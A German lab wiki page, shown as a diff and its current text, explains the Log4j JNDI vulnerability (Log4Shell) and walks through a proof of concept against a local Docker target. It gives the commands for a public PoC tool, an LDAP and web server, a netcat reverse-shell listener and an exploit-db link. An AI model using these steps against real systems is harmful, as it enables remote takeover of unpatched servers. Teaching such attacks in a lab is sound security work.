Log4j: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (20 dazwischenliegende Versionen von einem anderen Benutzer werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | =Schaubild= | + | =Schaubild Log4j Angriff= |
{{#drawio:log4j}} | {{#drawio:log4j}} | ||
| + | |||
| + | =Wirkungsweise= | ||
| + | ==Was ist log4j== | ||
| + | *log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java. | ||
| + | *Hat es sich über die Jahre zu einem De-facto-Standard entwickelt. | ||
| + | *log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen. | ||
| + | ==Wie funktioniert es== | ||
| + | *Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben, | ||
| + | *log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten. | ||
| + | *Neben der Auswahl des Loggingsystems gibt es noch die Wichtigkeit („Log-Level“) der Meldung. | ||
| + | *Aufgrund dieser wird entschieden ob überhaupt weitergeleitet wird. | ||
| + | *Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen. | ||
| + | *Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden. | ||
| + | ==JNDI== | ||
| + | *Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java | ||
| + | *Damit können Namensdienste und Verzeichnisdienste angesprochen werden. | ||
| + | *Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden. | ||
| + | *Nutzern der Schnittstelle können diese abrufen. | ||
| + | ==Der Angriff== | ||
| + | *Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen LDAP Server eingeben. | ||
| + | *Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann. | ||
| + | *Dieser wird dann zur einer Java-Class kompiliert. | ||
| + | *Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann. | ||
| + | *Der angegriffene Server lädt diese runter und führt die Java-Class aus. | ||
| + | *Das könnte beispielsweise eine Remote Shell sein. | ||
| + | |||
=Proof of Concept= | =Proof of Concept= | ||
| + | *Das Proof of Concept stellt einen LDAP und einen WebServer bereit. | ||
| + | *Es wird Java Source Code erzeugt. | ||
| + | *Dieser wird in Java Byte Code übersetzt. | ||
| + | *Er steht dann als Java-Class bereit. | ||
| + | *Er kann von dem Webserver runtergeladen werden | ||
| + | *Es wird mit netcat ein Port geöffnet mit dem sich das "Opfer" per Remote Shell verbindet | ||
| + | *Zum Schluss wird das Opfer "übernommen" | ||
| + | |||
| + | =Installation= | ||
*git clone https://github.com/kozmer/log4j-shell-poc | *git clone https://github.com/kozmer/log4j-shell-poc | ||
*cd log4j-shell-poc | *cd log4j-shell-poc | ||
| + | |||
=Download und entpacken= | =Download und entpacken= | ||
*jdk-8u20-linux-x64.tar.gz | *jdk-8u20-linux-x64.tar.gz | ||
=Starten des LDAP und Webservers= | =Starten des LDAP und Webservers= | ||
| − | *python3 poc.py --userip | + | *python3 poc.py --userip kali --webport 8000 --lport 4545 |
[[Datei:Log4j-1.png]] | [[Datei:Log4j-1.png]] | ||
| + | |||
=Remoteshell listining= | =Remoteshell listining= | ||
| + | *netcat -lp 4545 | ||
[[Datei:Log4j-2.png]] | [[Datei:Log4j-2.png]] | ||
| + | |||
| + | =Beispiel Opfer= | ||
| + | *App starten | ||
| + | =Installation= | ||
| + | *git clone https://github.com/kozmer/log4j-shell-poc | ||
| + | *cd log4j-shell-poc | ||
| + | *docker build -t log4j-shell-poc . | ||
| + | *docker run --network host log4j-shell-poc | ||
| + | |||
| + | =Webseite öffnen= | ||
| + | Auf Port 8080 | ||
| + | |||
| + | [[Datei:Log4j-3.png]] | ||
| + | |||
| + | =Exploit= | ||
| + | *Hier erfolgt die Übernahme des Systems | ||
| + | [[Datei:Log4j-4.png]] | ||
=Exploit= | =Exploit= | ||
*https://www.exploit-db.com/exploits/50592 | *https://www.exploit-db.com/exploits/50592 | ||
Aktuelle Version vom 14. Februar 2023, 08:07 Uhr
Schaubild Log4j Angriff
Wirkungsweise
Was ist log4j
- log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java.
- Hat es sich über die Jahre zu einem De-facto-Standard entwickelt.
- log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.
Wie funktioniert es
- Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben,
- log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten.
- Neben der Auswahl des Loggingsystems gibt es noch die Wichtigkeit („Log-Level“) der Meldung.
- Aufgrund dieser wird entschieden ob überhaupt weitergeleitet wird.
- Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen.
- Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.
JNDI
- Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java
- Damit können Namensdienste und Verzeichnisdienste angesprochen werden.
- Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
- Nutzern der Schnittstelle können diese abrufen.
Der Angriff
- Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen LDAP Server eingeben.
- Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann.
- Dieser wird dann zur einer Java-Class kompiliert.
- Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann.
- Der angegriffene Server lädt diese runter und führt die Java-Class aus.
- Das könnte beispielsweise eine Remote Shell sein.
Proof of Concept
- Das Proof of Concept stellt einen LDAP und einen WebServer bereit.
- Es wird Java Source Code erzeugt.
- Dieser wird in Java Byte Code übersetzt.
- Er steht dann als Java-Class bereit.
- Er kann von dem Webserver runtergeladen werden
- Es wird mit netcat ein Port geöffnet mit dem sich das "Opfer" per Remote Shell verbindet
- Zum Schluss wird das Opfer "übernommen"
Installation
- git clone https://github.com/kozmer/log4j-shell-poc
- cd log4j-shell-poc
Download und entpacken
- jdk-8u20-linux-x64.tar.gz
Starten des LDAP und Webservers
- python3 poc.py --userip kali --webport 8000 --lport 4545
Remoteshell listining
- netcat -lp 4545
Beispiel Opfer
- App starten
Installation
- git clone https://github.com/kozmer/log4j-shell-poc
- cd log4j-shell-poc
- docker build -t log4j-shell-poc .
- docker run --network host log4j-shell-poc
Webseite öffnen
Auf Port 8080
Exploit
- Hier erfolgt die Übernahme des Systems




